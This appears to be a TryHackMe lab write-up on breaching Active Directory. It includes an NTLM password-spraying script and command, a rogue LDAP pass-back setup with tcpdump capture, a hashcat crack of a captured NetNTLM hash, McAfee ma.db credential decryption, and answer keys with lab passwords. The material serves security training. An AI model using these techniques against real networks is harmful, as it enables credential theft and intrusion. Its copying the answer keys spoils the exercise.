Breaching Active Directory: TryHackMe Writeup.
Task 1: Introduction to AD Breaches
Learning Objectives:
This Room covers the following techniques to recover AD credentials in this network:
- NTLM Authenticated Services
- LDAP Bind Credentials
- Authentication Relays
- Microsoft Deployment Toolkit
- Configuration Files
We can use these techniques on a security assessment either by targeting systems of an organisation that are internet-facing or by implanting a rogue device on the organisation’s network.
To connect to the network using your own kali machine first you need to download a different configuration file. To downlad it go to your access page -> select ‘BreachingAD’ from the VPN servers (under the network tab) and download your configuration file (refer the image below).
Once connected to the network, set the DNS in your kali machine. You can use GUI Menu to configure DNS:
- Network Manager -> Advanced Network Configuration -> Your Connection -> IPv4 Settings
- Set your DNS IP here to the IP for THMDC in the network diagram above (for me it is 10.200.20.101)
- Add another DNS such as 8.8.8.8 or similar to ensure you still have internet access
- Run
sudo systemctl restart NetworkManager
and test your DNS similar to the steps above.
Task 2: OSINT and Phishing
Two popular methods for gaining access to that first set of AD credentials is Open Source Intelligence (OSINT) and Phishing.
OSINT
OSINT is used to discover information that has been publicly disclosed. In terms of AD credentials, this can happen for several reasons, such as:
- Users who ask questions on public forums such as Stack Overflow but disclose sensitive information such as their credentials in the question.
- Developers that upload scripts to services such as Github with credentials hardcoded.
- Credentials being disclosed in past breaches since employees used their work accounts to sign up for other external websites. Websites such as HaveIBeenPwned and DeHashed provide excellent platforms to determine if someone’s information, such as work email, was ever involved in a publicly known data breach.
By using OSINT techniques, it may be possible to recover publicly disclosed credentials. If we are lucky enough to find credentials, we will still need to find a way to test whether they are valid or not since OSINT information can be outdated. In Task 3, we will talk about NTLM Authenticated Services, which may provide an excellent avenue to test credentials to see if they are still valid.
Phishing
Phishing is another excellent method to breach AD. Phishing usually entices users to either provide their credentials on a malicious web page or ask them to run a specific application that would install a Remote Access Trojan (RAT) in the background. This is a prevalent method since the RAT would execute in the user’s context, immediately allowing you to impersonate that user’s AD account. This is why phishing is such a big topic for both Red and Blue teams.
#1. What popular website can be used to verify if your email address or password has ever been exposed in a publicly disclosed data breach?
Answer: HaveIBeenPwned
Task 3: NTLM Authenticated Services
New Technology LAN Manager (NTLM) is the suite of security protocols used to authenticate users’ identities in AD. NTLM can be used for authentication by using a challenge-response-based scheme called NetNTLM. This authentication mechanism is heavily used by the services on a network. However, services that use NetNTLM can also be exposed to the internet. The following are some of the popular examples:
- Internally-hosted Exchange (Mail) servers that expose an Outlook Web App (OWA) login portal.
- Remote Desktop Protocol (RDP) service of a server being exposed to the internet.
- Exposed VPN endpoints that were integrated with AD.
- Web applications that are internet-facing and make use of NetNTLM.
NetNTLM, also often referred to as Windows Authentication or just NTLM Authentication, allows the application to play the role of a middle man between the client and AD. All authentication material is forwarded to a Domain Controller in the form of a challenge, and if completed successfully, the application will authenticate the user.
This means that the application is authenticating on behalf of the user and not authenticating the user directly on the application itself. This prevents the application from storing AD credentials, which should only be stored on a Domain Controller. This process is shown in the diagram below:
Brute-force Login Attacks
As mentioned in Task 2, these exposed services provide an excellent location to test credentials discovered using other means. However, these services can also be used directly in an attempt to recover an initial set of valid AD credentials. We could perhaps try to use these for brute force attacks if we recovered information such as valid email addresses during our initial red team recon.
Since most AD environments have account lockout configured, we won’t be able to run a full brute-force attack. Instead, we need to perform a password spraying attack. Instead of trying multiple different passwords, which may trigger the account lockout mechanism, we choose and use one password and attempt to authenticate with all the usernames we have acquired. However, it should be noted that these types of attacks can be detected due to the amount of failed authentication attempts they will generate.
You have been provided with a list of usernames discovered during a red team OSINT exercise. The OSINT exercise also indicated the organisation’s initial onboarding password, which seems to be “Changeme123”. Although users should always change their initial password, we know that users often forget. We will be using a custom-developed script to stage a password spraying against the web application hosted at this URL: http://ntlmauth.za.tryhackme.com.
Navigating to the URL, we can see that it prompts us for Windows Authentication credentials:
We could use tools such as Hydra to assist with the password spraying attack. However, it is often better to script up these types of attacks yourself, which allows you more control over the process. A base python script has been provided in the task files that can be used for the password spraying attack. The following function is the main component of the script:
def password_spray(self, password, url):
print ("[*] Starting passwords spray attack using the following password: " + password)
#Reset valid credential counter
count = 0
#Iterate through all of the possible usernames
for user in self.users:
#Make a request to the website and attempt Windows Authentication
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
#Read status code of response to determine if authentication was successful
if (response.status_code == self.HTTP_AUTH_SUCCEED_CODE):
print ("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if (self.verbose):
if (response.status_code == self.HTTP_AUTH_FAILED_CODE):
print ("[-] Failed login with Username: " + user)
print ("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
This function takes our suggested password and the URL that we are targeting as input and attempts to authenticate to the URL with each username in the textfile. By monitoring the differences in HTTP response codes from the application, we can determine if the credential pair is valid or not. If the credential pair is valid, the application would respond with a 200 HTTP (OK) code. If the pair is invalid, the application will return a 401 HTTP (Unauthorised) code.
Password Spraying
If you are using the AttackBox, the password spraying script and usernames textfile is provided under the /root/Rooms/BreachingAD/task3/
directory. We can run the script using the following command:
python ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>
We provide the following values for each of the parameters:
- <userfile> — Textfile containing our usernames — “usernames.txt”
- <fqdn> — Fully qualified domain name associated with the organisation that we are attacking — “za.tryhackme.com”
- <password> — The password we want to use for our spraying attack — “Changeme123”
- <attackurl> — The URL of the application that supports Windows Authentication — “http://ntlmauth.za.tryhackme.com"
Using these parameters, we should get a few valid credentials pairs from our password spraying attack.
NTLMPassword Spraying Attack
python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a http://ntlmauth.za.tryhackme.com/
Questions:
#1. What is the name of the challenge-response authentication mechanism that uses NTLM?
Answer: NetNTLM
#2. What is the username of the third valid credential pair found by the password spraying script?
Answer: gordon.stevens
#3. How many valid credentials pairs were found by the password spraying script?
Answer: 4
#4. What is the message displayed by the web application when authenticating with a valid credential pair?
Answer: Hello World
Task 4: LDAP Bind Credentials
Performing an LDAP Pass-back:
There is a network printer in this network where the administration website does not even require credentials. Navigate to http://printer.za.tryhackme.com/settings.aspx to find the settings page of the printer:
Using browser inspection, we can also verify that the printer website was at least secure enough to not just send the LDAP password back to the browser:
So we have the username, but not the password. However, when we press test settings, we can see that an authentication request is made to the domain controller to test the LDAP credentials. Let’s try to exploit this to get the printer to connect to us instead, which would disclose the credentials. To do this, let’s use a simple Netcat listener to test if we can get the printer to connect to us. Since the default port of LDAP is 389, we can use the following command:
nc -lvp 389
Your IP will be your VPN IP and will either be a 10.50.x.x IP or 10.51.x.x IP. You can use ip a
to list all interfaces. Please make sure to use this as your IP, otherwise you will not receive a connection back. Please also make note of the interface for this IP, since you will need it later in the task.
You should see that we get a connection back, but there is a slight problem:
You may require more than one try to receive a connection back but it should respond within 5 seconds. The supportedCapabilities
response tells us we have a problem. Essentially, before the printer sends over the credentials, it is trying to negotiate the LDAP authentication method details. It will use this negotiation to select the most secure authentication method that both the printer and the LDAP server support. If the authentication method is too secure, the credentials will not be transmitted in cleartext. With some authentication methods, the credentials will not be transmitted over the network at all! So we can't just use normal Netcat to harvest the credentials. We will need to create a rogue LDAP server and configure it insecurely to ensure the credentials are sent in plaintext.
Hosting a Rogue LDAP Server
There are several ways to host a rogue LDAP server, but we will use OpenLDAP for this example. If you are using the AttackBox, OpenLDAP has already been installed for you. However, if you are using your own attack machine, you will need to install OpenLDAP using the following command:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
You will however have to configure your own rogue LDAP server on the AttackBox as well. We will start by reconfiguring the LDAP server using the following command:
sudo dpkg-reconfigure -p low slapd
Make sure to press <No> when requested if you want to skip server configuration:
For the DNS domain name, you want to provide our target domain, which is za.tryhackme.com
:
Use this same name for the Organisation name as well:
Provide any Administrator password:
Select MDB as the LDAP database to use:
For the last two options, ensure the database is not removed when purged:
Move old database files before a new one is created:
Before using the rogue LDAP server, we need to make it vulnerable by downgrading the supported authentication mechanisms. We want to ensure that our LDAP server only supports PLAIN and LOGIN authentication methods. To do this, we need to create a new ldif file (you can create it in /etc/init.d direcotry), called with the following content:
Name of file: olcSaslSecProps.ldif
#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
The file has the following properties:
- olcSaslSecProps: Specifies the SASL security properties
- noanonymous: Disables mechanisms that support anonymous login
- minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
Now we can use the ldif file to patch our LDAP server using the following:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
We can verify that our rogue LDAP server’s configuration has been applied using the following command (Note: If you are using Kali, you may not receive any output, however the configuration should have worked and you can continue with the next steps):
Capturing LDAP Credentials
Our rogue LDAP server has now been configured. When we click the “Test Settings” at http://printer.za.tryhackme.com/settings.aspx, the authentication will occur in clear text. If you configured your rogue LDAP server correctly and it is downgrading the communication, you will receive the following error: “This distinguished name contains invalid syntax”. If you receive this error, you can use a tcpdump to capture the credentials using the following command:
sudo tcpdump -SX -i breachad tcp port 389
And we get the password as shown in the image:
Questions:
#1. What type of attack can be performed against LDAP Authentication systems not commonly found against Windows Authentication systems?
Answer: LDAP Pass-back attack
#2. What two authentication mechanisms do we allow on our rogue LDAP server to downgrade the authentication and make it clear text?
Answer: PLAIN, LOGIN
#3. What is the password associated with the svcLDAP account?
Answer: tryhackmeldappass1@
Task 5: Authentication Relays
Continuing with attacks that can be staged from our rogue device, we will now look at attacks against broader network authentication protocols. In Windows networks, there are a significant amount of services talking to each other, allowing users to make use of the services provided by the network.
These services have to use built-in authentication methods to verify the identity of incoming connections. In Task 2, we explored NTLM Authentication used on a web application. In this task, we will dive a bit deeper to look at how this authentication looks from the network’s perspective. However, for this task, we will focus on NetNTLM authentication used by SMB.
Read Further at: TryHackMe | Breaching Active Directory
Questions:
#1. What is the name of the tool we can use to poison and capture authentication requests on the network?
Answer: Responder
#2. What is the username associated with the challenge that was captured?
Answer: svcFileCopy
#3. What is the value of the cracked password associated with the challenge that was captured?
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 'svcFileCopy::ZA:522aad72bf3e01f9:03813464D3291D2914C036E4FF630C8B:01010000000000000035AE7AB254DA01EB3CB0FEA7FA1BA900000000020008004F004E003000540001001E00570049004E002D0048003800500059004D004A0045004D004C005500340004003400570049004E002D0048003800500059004D004A0045004D004C00550034002E004F004E00300054002E004C004F00430041004C00030014004F004E00300054002E004C004F00430041004C00050014004F004E00300054002E004C004F00430041004C00070008000035AE7AB254DA010600040002000000080030003000000000000000000000000020000017508044BCA899B4EEAB91ECB988B7EEA2D269C56ED1789A1A44BA51720DB8A90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00350030002E00350032002E00350033000000000000000000' -a 3 Desktop/passwordlist-1647876320267.txt
Answer: FPassword1!
Task 6: Microsoft Development Toolkit
Questions:
#1. What Microsoft tool is used to create and host PXE Boot images in organizations?
Answer: Microsoft Deployment Toolkit
#2. What network protocol is used for recovery of files from the MDT server?
Answer: TFTP
#3. What is the username associated with the account that was stored in the PXE Boot image?
Answer: svcMDT
#4. What is the password associated with the account that was stored in the PXE Boot image?
Answer: PXEBootSecure1@
Task 7: Configuration Files
Questions:
#1. What type of files often contain stored credentials on hosts?
Answer: Configuration Files
#2. What is the name of the McAfee database that stores configuration including credentials used to connect to the orchestrator?
Answer: ma.db
#3. What table in this database stores the credentials of the orchestrator?
Answer: AGENT_REPOSITORIES
#4. What is the username of the AD account associated with the McAfee service?
Answer: svcAV
#5. What is the password of the AD account associated with the McAfee service?
Answer: MyStrongPassword!
Details:
The last enumeration avenue we will explore in this network is configuration files. Suppose you were lucky enough to cause a breach that gave you access to a host on the organisation’s network. In that case, configuration files are an excellent avenue to explore in an attempt to recover AD credentials. Depending on the host that was breached, various configuration files may be of value for enumeration:
- Web application config files
- Service configuration files
- Registry keys
- Centrally deployed applications
Several enumeration scripts, such as Seatbelt, can be used to automate this process.
Configuration File Credentials
However, we will focus on recovering credentials from a centrally deployed application in this task. Usually, these applications need a method to authenticate to the domain during both the installation and execution phases. An example of such as application is McAfee Enterprise Endpoint Security, which organisations can use as the endpoint detection and response tool for security.
McAfee embeds the credentials used during installation to connect back to the orchestrator in a file called ma.db. This database file can be retrieved and read with local access to the host to recover the associated AD service account. We will be using the SSH access on THMJMP1 again for this exercise with the password: Password1@.
The ma.db file is stored in a fixed location:
We can use SCP to copy the ma.db to our kali:
To read the database file, we will use a tool called sqlitebrowser. We can open the database using the following command:
thm@thm:# sqlitebrowser ma.db
Using sqlitebrowser, we will select the Browse Data option and focus on the AGENT_REPOSITORIES table:
We are particularly interested in the second entry focusing on the DOMAIN, AUTH_USER, and AUTH_PASSWD field entries. Make a note of the values stored in these entries. However, the AUTH_PASSWD field is encrypted. Luckily, McAfee encrypts this field with a known key.
You will have to unzip the mcafee-sitelist-pwd-decryption.zip file:
thm@thm:~/root/Rooms/BreachingAD/task7/$ unzip mcafeesitelistpwddecryption.zip
By providing the script with our base64 encoded and encrypted password, the script will provide the decrypted password:
thm@thm:~/root/Rooms/BreachingAD/task7/mcafee-sitelist-pwd-decryption-master$ python2 mcafee_sitelist_pwd_decrypt.py <AUTH PASSWD VALUE>
Crypted password : <AUTH PASSWD VALUE>
Decrypted password : <Decrypted Pasword>
Token is shown in the below figure:
And we get the password: